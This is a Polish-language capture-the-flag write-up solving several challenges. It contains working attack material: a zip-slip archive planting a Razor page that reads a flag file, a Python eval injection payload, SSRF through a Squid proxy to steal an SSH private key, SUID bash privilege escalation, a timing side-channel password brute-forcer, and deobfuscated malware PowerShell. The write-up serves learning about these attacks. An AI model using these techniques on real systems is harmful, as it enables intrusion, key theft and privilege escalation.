Różnice w plikach pomiędzy oryginalnymi plikami a dostarczonymi do zadania.
Różnice w plikach pomiędzy oryginalnymi plikami a dostarczonymi do zadania.
Po deobfuskacji skryptu otrzymałem ciąg base64, który po zdekodowaniu ujawnił polecenie Invoke-WebRequest z adresem oraz ustawionym nagłówkiem.
Zdeobfuskowany kod PowerShell.
Zdeobfuskowany kod PowerShell.
Otrzymany kod PowerShell.
Otrzymany kod PowerShell.
Po wykonaniu polecenia curl otrzymałem flagę.
Zdobyta flaga.
Otrzymana odpowiedź po wykonaniu curl.
Zdobyta flaga.
Zdobyta flaga.

Stack It

Challenge Type: Reverse Engineering
Author: @sudo_Rem

Nasz zespół analityków bezpieczeństwa niedawno pracował nad osobliwą próbką Lumma. Dentyści, którzy nam pomagali, doradzili, abyśmy nitkowali zęby co najmniej dwa razy dziennie, żeby sobie pomóc. Dali nam też ten dziwny plik. Może Ty będziesz mógł nam pomóc?

(ang. Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised we floss at least twice a day to help out. He also gave us this weird file. Maybe you can help us out.)

Do rozwiązania zadania otrzymaliśmy plik stack_it.bin. Wstępna analiza wykazała, że jest to plik wykonywalny z usuniętymi symbolami debugowymi.

Wstępna analiza pliku.
Wstępna analiza pliku
Po uruchomieniu GDB i wykonaniu kilku kolejnych instrukcji, wskaźnik znajdujący się w rejestrze EDX zawierał flagę.
Zdobyta flaga w rejestrze EDX.
Zdobyta flaga w rejestrze EDX.

Zippy

Challenge Type: Web Author: @HuskyHacks

(ang. Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for the small to medium business!)

Oto poprawiona wersja tekstu:

Aplikacja udostępniona przez organizatorów umożliwiała przesyłanie plików w formacie ZIP, które po rozpakowaniu były zapisywane w katalogu o identyfikatorze wskazanym przez użytkownika.

Strona główna aplikacji.
Strona główna aplikacji.
Aplikacja posiadała kilka podatności. Pierwszą z nich była możliwość nadpisywania plików poprzez zawartość archiwum ZIP, a drugą podatność stanowił path traversal, pozwalający na przeglądanie zawartości dowolnego katalogu.
Path traversal i podgląd zawartości dysku.
Path traversal i podgląd zawartości dysku.
Informacja o możliwości rozpakowania pliku w dowolnym katalogu.
Informacja o możliwości rozpakowania pliku w dowolnym katalogu.

Aplikacja została napisana w technologii .NET i obsługiwała dynamiczną kompilację plików cshtml. Najpierw stworzyłem stronę cshtml, która wczytywała flagę z określonej przeze mnie lokalizacji, a następnie, korzystając z poprawionej wersji skryptu evilarc, przygotowałem plik ZIP zawierający odpowiednią ścieżkę.

@page
@using System.IO
@functions {
    public string GetFileContent()
    {
        string filePath = "/app/flag.txt";
        if (System.IO.File.Exists(filePath))
        {
            return System.IO.File.ReadAllText(filePath); 
        }
        else
        {
            return "File not found.";
        }
    }
}

@{
    ViewData["Title"] = "About";
    var fileContent = GetFileContent();
}

<h2>Contents of /app/flag.txt</h2>
<pre>
    @fileContent
</pre>

Po przesłaniu pliku payload nadpisał istniejący plik w aplikacji, odpowiedzialny za wyświetlanie informacji o mnie, wyświetlając flagę.

Przygotowanie payload.
Przygotowanie payload.
Przesłanie złośliwego pliku.
Przesłanie złośliwego pliku.
Wykonanie kodu i zdobyta flaga.
Wykonanie kodu i zdobyta flaga.

PillowFight

Challenge Type: Web Author: @HuskyHacks

PillowFight wykorzystuje zaawansowane AI/MLRegressionLearning*, aby połączyć dwa wybrane przez Ciebie obrazy. *uwaga dla inwestorów: technicznie rzecz biorąc, to nie jest jeszcze prawda, obecnie używamy biblioteki Pythona, ale prosimy o wsparcie finansowe, a dostarczymy to, obiecujemy.

(ang. PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing *note to investors this is not techically true at the moment we’re using a python library but please give us money and we’ll deliver it we promise.)

Oto poprawiona wersja tekstu:

Aplikacja webowa została stworzona do łączenia obrazów.

Strona główna aplikacji..
Strona główna aplikacji.
Oprócz funkcji dostępnych przez interfejs GUI, umożliwia także interakcję przez API. W dokumentacji API zauważyłem dodatkowy parametr eval_command.
Dokumentacja API.
Dokumentacja API.
Po wysłaniu przykładowego zapytania w nagłówkach odpowiedzi odkryłem również wersję wykorzystywanego oprogramowania. Po modyfikacji zawartości polecenia ustaliłem, że wynik polecenia musi tworzyć obiekt posiadający metodę save.
Wykorzystywana technologia.
Wykorzystywana technologia.
Dokumentacja metody save z biblioteki pillow.
Dokumentacja metody save z biblioteki pillow.

Korzystając z dokumentacji biblioteki Pillow, przygotowałem fragment kodu, który za pomocą funkcji lambda w Pythonie tworzy obiekt posiadający metodę save, wczytującą flagę z systemu.

eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")

Wykonanie kodu i zdobyta flaga.
Wykonanie kodu i zdobyta flaga.

Permission to Proxy

Challenge Type: Miscellaneous Author: @JohnHammond

Gdzie idziemy stąd?
Zwiększ swoje uprawnienia i znajdź flagę w katalogu domowym root’a.
Tak, komunikat o błędzie, który widzisz przy starcie, jest zamierzony. ;)

(ang. Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;))

Oto poprawiona wersja tekstu:

W zadaniu otrzymujemy skonfigurowaną usługę proxy Squid. Już sam opis zadania oraz typ usługi sugeruje, że należy poszukać podatności SSRF.

Strona główna.
Strona główna.
Po kilku próbach udaje mi się zlokalizować pierwszy port – 22, na którym działa usługa SSH.
Identyfikacja podatności SSRF oraz otwartego portu 22.
Identyfikacja podatności SSRF oraz otwartego portu 22.
Po skonfigurowaniu Corkscrew jako narzędzia do tunelowania ruchu SSH przez Squid proxy, okazało się, że do zalogowania się do usługi potrzebuję jeszcze klucza prywatnego oraz nazwy użytkownika.

.ssh/config
host * 
    ProxyCommand corkscrew challenge.ctf.games 31619 %h %p

W tym momencie kluczowa okazała się cierpliwość. Dopiero na bardzo wysokim porcie, czyli 50 000, znalazłem usługę, która pozwalała na odczytywanie plików z serwera.

Możliwość pobierania plików z katalogu użytkownika.
Możliwość pobierania plików z katalogu użytkownika
Usługa odpowiadała bardzo wolno, ale w katalogu /home/user/.ssh/id_rsa udało mi się znaleźć i pobrać klucz.
Zdobycie prywatnego klucza RSA użytkownika.
Zdobycie prywatnego klucza RSA użytkownika
Następnie zalogowałem się na serwer, korzystając z wcześniej przygotowanej konfiguracji. Zgodnie z opisem zadania, kolejnym krokiem była eskalacja uprawnień do root. Pierwszym krokiem, który wykonałem, było uruchomienie polecenia find / -perm /2000 -or -perm /4000 2>/dev/null, które, ku mojemu zaskoczeniu, na liście wyników dodatkowo wykazało binarkę /bin/bash.
Wykorzystanie proxy i zalogowanie na konto użytkownika za pomocą zdobytego klucza.
Wykorzystanie proxy i zalogowanie na konto użytkownika za pomocą zdobytego klucza
Za pomocą polecenia /bin/bash -p podniosłem uprawnienia, a następnie wyświetliłem flagę z katalogu root.
Eskalacja uprawnień i zdobycie flagi.
Eskalacja uprawnień i zdobycie flagi.

Time will tell

Challenge Type: Miscellaneous Author: @aenygma

Atak boczny oparty na czasie. Odgadnij hasło w ciągu 90 sekund, zanim połączenie zostanie zakończone. Hasło jest dynamiczne i zmienia się przy każdej sesji połączenia.

(ang. A side channel timing attack. Figure out the password in 90 seconds before connection terminates. The password is dynamic and changes every connection session.)

Do rozwiązania zadania otrzymujemy kod, w którym najciekawszym elementem jest sposób weryfikacji poprawności hasła. Aplikacja sprawdza hasło znak po znaku, a gdy znak jest poprawny, wykonuje “ciężkie obliczenia”, polegające na wywołaniu funkcji sleep z opóźnieniem 1.5 sekundy.

Kod opowiedzialny za weryfikacje hasła.
Kod opowiedzialny za weryfikacje hasła.

import pexpect
import time

child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")

possible_chars = "0123456789abcdef"
password = ""
password_len = 8

child.expect("Figure out the password")

for i in range(password_len):
    max_time = 0.19
    correct_char = ''

    
    for char in possible_chars:
        guess = password + char + "x" * (password_len - len(password) - 1)
        
        start_time = time.perf_counter()
        child.sendline(guess)
        try:
            child.expect(": ")
            elapsed_time = time.perf_counter() - start_time
            
            output = child.before.strip()
            print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")

            if elapsed_time > max_time:
                max_time = elapsed_time 
                correct_char = possible_chars[possible_chars.index(char) - 1]

        except pexpect.exceptions.TIMEOUT:
            print(f"Timeout for char: {char}")
            continue

    password += correct_char
    print(f"Found char: {correct_char} on  {i}, current password: {password}")

print(f"Password: {password}")

child.sendline(password)
child.expect("flag:") 
flag = child.before
print(f"Flag: {flag}")

child.logfile.close()

Po napisaniu skryptu, który działał poprawnie na moim komputerze, musiałem wprowadzić drobne poprawki podczas próby zdobycia flagi, uwzględniając opóźnienie sieci.

Uruchomienie skryptu, zdobyta flaga.
Uruchomienie skryptu, zdobyta flaga.

Palimpsest

Challenge Type: Malware Author: Adam Rice (@adam.huntress)

Nasz dział IT konfigurował nową stację roboczą i napotkał dziwne błędy podczas instalacji oprogramowania. Technik zauważył nietypowe zadanie harmonogramu, na szczęście utworzył jego kopię zapasową i pobrał kilka plików dziennika przed wyczyszczeniem maszyny! Czy możesz ustalić, co się dzieje? Dołączamy poniżej wyeksportowane zadanie harmonogramu i pliki dziennika.

(ang. Our IT department was setting up a new workstation and started encountering some strange errors while installing software. The technician noticed a strange scheduled task and luckily backed it up and grabbed some log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.)

Aby rozwiązać zadanie, otrzymujemy pliki evtx (logi systemu Windows) oraz konfigurację podejrzanego zadania.

Załączone pliki do zadania.
Załączone pliki do zadania.
W pliku zadania znajdujemy linię:
Polecenie wykonywane przez dołaczone zadanie.
Polecenie wykonywane przez dołaczone zadanie.
Po zapytaniu serwera DNS o rekordy TXT otrzymuję wiadomość zakodowaną w base64:
Zawartość rekordów txt.
Zawartość rekordów txt.
Po zdekodowaniu wiadomości otrzymuję skrypt PowerShell.
Pierwsza deobfuskacja.
Pierwsza deobfuskacja.
Nauczony doświadczeniem, że dalsza deobfuskacja może zająć sporo czasu, zdecydowałem się skorzystać z dynamicznej analizy i uruchomiłem skrypt w Any.run. Następnie prześledziłem wszystkie wywołania i odkryłem skrypt, który nie został wykonany z powodu braku odpowiednich informacji w logu aplikacji (Application log).
Skrypt, który się nie wykonał w anyrun.
Skrypt, który się nie wykonał w anyrun.

Po deobfuskacji skrypt wyglądał następująco: pobierał dane z zdarzeń związanych z MsInstaller o identyfikatorach w zakresie 40000–65000 i zapisywał je do pliku flag.mp4.

$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000

$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)

Get-EventLog -LogName "Application" -Source "Mslnstaller" |
    Where-Object { $instanceRange -contains $_.InstanceId } |
    Sort-Object Index |
    ForEach-Object {
        $data = $_.Data
        $fileStream.Write($data, 0, $data.Length)
    }

$fileStream.Close()

Miałem trudność z dostosowaniem skryptu, aby działał poprawnie, więc zdecydowałem się skorzystać z narzędzi chainsaw oraz jq. Dzięki poniższym poleceniom udało mi się wyodrębnić plik mp4.

chainsaw/target/release/chainsaw search 'Mslnstaller'  logs/  --json -o "output.json" 
jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json  | xxd -r -p > flag.mp4 

Plik mp4 zawierał flagę :)

Zdobyta flaga,
Zdobyta flaga.